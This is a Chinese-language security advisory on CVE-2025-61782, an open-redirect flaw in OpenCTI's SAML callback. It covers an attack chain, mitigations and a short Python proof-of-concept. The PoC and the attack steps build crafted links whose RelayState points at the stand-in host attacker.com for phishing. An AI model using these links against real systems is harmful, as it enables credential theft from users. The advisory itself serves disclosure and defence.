IPBUF安全漏洞报告
English
CVE-2025-61782 CVSS 5.4 中危

CVE-2025-61782 OpenCTI SAML认证开放重定向漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-61782
漏洞类型
开放重定向
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenCTI

相关标签

开放重定向SAML认证网络威胁情报钓鱼攻击凭据盗窃OpenCTICVE-2025-61782身份认证漏洞Web安全

漏洞概述

CVE-2025-61782是OpenCTI平台中存在的一个开放重定向(Open Redirect)安全漏洞。OpenCTI是一个开源的网络威胁情报管理平台,用于管理网络威胁情报知识和可观测数据。该漏洞存在于平台的SAML认证端点(/auth/saml/callback)中,攻击者可以通过精心构造的RelayState参数,操纵服务器的重定向行为,将用户重定向到任意外部恶意网站。

在受影响版本(6.8.3之前的版本)中,OpenCTI的SAML认证流程未对用户提供的RelayState参数进行充分的验证和过滤。攻击者可以利用这一漏洞构造钓鱼链接,诱骗已认证用户在不知情的情况下访问恶意网站,从而实现凭据盗窃、会话劫持等攻击。由于SAML认证通常用于企业单点登录环境,该漏洞的影响范围可能扩展到整个组织的身份认证体系。

该漏洞的CVSS评分为5.4,属于中等严重程度。虽然不需要高深的技术能力即可利用,但攻击成功需要用户交互(点击恶意链接),这在一定程度上限制了其自动利用的可能性。然而,考虑到网络威胁情报平台通常处理敏感的安全数据,该漏洞仍应被认真对待并及时修复。

技术细节

OpenCTI平台在处理SAML认证响应时存在开放重定向漏洞。SAML(Security Assertion Markup Language)是一种基于XML的开放标准,用于在身份提供者和服务提供者之间交换认证和授权数据。

漏洞原理:
1. OpenCTI的SAML认证端点(/auth/saml/callback)接收来自身份提供者的SAML响应
2. 端点使用RelayState参数来确定认证成功后重定向的目标URL
3. 问题在于程序未对RelayState参数进行充分的URL验证,允许指向外部域名的URL
4. 攻击者可以构造类似:/auth/saml/callback?RelayState=https://attacker.com/phishing的恶意请求
5. 当受害者访问此链接并完成SAML认证后,服务器会将其重定向到攻击者控制的网站

利用方式:
攻击者创建包含恶意RelayState参数的链接,诱骗目标用户点击。用户完成SAML认证后,被重定向到钓鱼网站,该网站可能模仿OpenCTI登录页面或其他可信界面,从而窃取用户的敏感信息或凭据。

修复方案:
OpenCTI在版本6.8.3中修复了此漏洞。修复措施包括对RelayState参数进行严格的URL白名单验证,仅允许重定向到预定义的信任域名或相对路径。

攻击链分析

STEP 1
步骤1
攻击者注册一个与目标网站相似的钓鱼域名(如attacker.com),并搭建钓鱼页面
STEP 2
步骤2
攻击者构造恶意链接:https://target-opencti.com/auth/saml/callback?RelayState=https://attacker.com/phishing
STEP 3
步骤3
攻击者通过钓鱼邮件、社交工程等方式诱导目标用户点击恶意链接
STEP 4
步骤4
用户点击链接后,被引导至OpenCTI的SAML认证端点进行身份验证
STEP 5
步骤5
用户完成SAML认证后,服务器使用攻击者控制的RelayState参数进行重定向
STEP 6
步骤6
用户被重定向到攻击者控制的钓鱼网站,钓鱼页面可能模仿OpenCTI或其他可信界面
STEP 7
步骤7
用户在钓鱼网站输入凭据或敏感信息,攻击者窃取这些数据
STEP 8
步骤8
攻击者利用窃取的凭据进行后续攻击,如横向移动、数据窃取等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2025-61782 Open Redirect PoC # Target: OpenCTI SAML Authentication Endpoint # Vulnerability: Open redirect via RelayState parameter TARGET_URL = "https://target-opencti.example.com" ATTACKER_URL = "https://attacker.com/phishing" # Construct malicious SAML callback URL with open redirect malicious_relay_state = urllib.parse.quote(ATTACKER_URL, safe='') exploit_url = f"{TARGET_URL}/auth/saml/callback?RelayState={malicious_relay_state}" print(f"[*] CVE-2025-61782 Open Redirect PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Attacker URL: {ATTACKER_URL}") print(f"[*] Malicious URL: {exploit_url}") # Send request to check for open redirect behavior response = requests.get(exploit_url, allow_redirects=False) if response.status_code == 302: location = response.headers.get('Location', '') print(f"[+] Open redirect confirmed!") print(f"[+] Server responds with 302 redirect to: {location}") if ATTACKER_URL in location or urllib.parse.unquote(ATTACKER_URL) in location: print("[!] VULNERABLE: Redirects to attacker-controlled domain") else: print(f"[-] Unexpected response: {response.status_code}") # Alternative PoC using standard URL encoding print("\n[*] Alternative PoC with raw URL:") alt_url = f"{TARGET_URL}/auth/saml/callback?RelayState={ATTACKER_URL}" print(f"[*] URL: {alt_url}")

影响范围

OpenCTI < 6.8.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在反向代理或负载均衡器层面配置URL过滤规则,限制auth/saml/callback端点中RelayState参数只能包含相对路径或预定义的信任域名;2) 禁用SAML认证端点的自动重定向功能,改为显示中间页面让用户确认;3) 在用户培训中强调不点击来历不明的认证链接;4) 实施严格的SAML请求签名验证,确保RelayState参数在传输过程中未被篡改;5) 考虑暂时限制SAML认证的使用,改用其他认证方式(需评估业务影响)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表